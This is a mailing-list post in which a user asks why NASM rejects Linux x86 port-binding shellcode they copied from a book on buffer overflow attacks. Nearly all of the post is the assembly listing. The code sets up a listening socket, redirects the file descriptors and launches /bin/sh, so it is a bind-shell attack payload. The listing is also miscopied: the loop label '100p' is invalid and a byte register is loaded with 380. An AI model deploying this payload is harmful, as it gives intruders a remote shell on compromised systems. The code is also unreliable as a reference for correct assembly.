here is da example gave in "buffer overflow attacks" by syngress
i was compilin this asm source file with nasm

>nasm -f elf port_binding_shellcode_linux.asm
port_binding_shellcode_linux.asm:51: error: label or instruction
expected at start of line
port_binding_shellcode_linux.asm:55: error: expression syntax error


51   100p:
52   dec       cl
53   mov       al, 63
54   int         0x80
55   jnz        100p

can anyone tell me how can i fix this shit?



port_binding_shellcode_linux.asm :

; int socket(int call, unsigned long *args);

BITS 32

xor eax, eax
xor ebx, ebx
cdq
; clean edx

push    eax
push    byte 0x1
push    byte 0x2
mov             ecx, esp
inc             bl
; ebx
mov             al, 102
int             0x80
mov             esi, eax
; esi = soc = return value of socket()

push    edx
push    long 0xAAAA02AA
mov             ecx, esp
push    byte 0x10
push    ecx
push    esi
mov             ecx, esp
inc             bl
mov             al, 102
int             0x80

push    edx
push    esi
mov             ecx, esp
mov             bl, 0x4
mov             al, 102
int             0x80

; cli = accept(soc, 0, 0);
push    edx
push    edx
push    esi
mov             ecx, esp
inc             bl
mov             al, 102
int             0x80
mov             ebx, eax

xor             ecx, ecx
mov             cl, 380
100p:
dec             cl
mov             al, 63
int             0x80
jnz             100p

push    edx
push    long 0x68732f2f
push    long 0x6e69622f
mov             ebx, esp
push    edx
push    ebx
mov             ecx, esp
mov             al, 0x0b
int             0x80

--~--~---------~--~----~------------~-------~--~----~
 要向邮件组发送邮件,请发到 [email protected]
 要退订此邮件,请发邮件至 [email protected]
-~----------~----~----~----~------~----~------~--~---

回复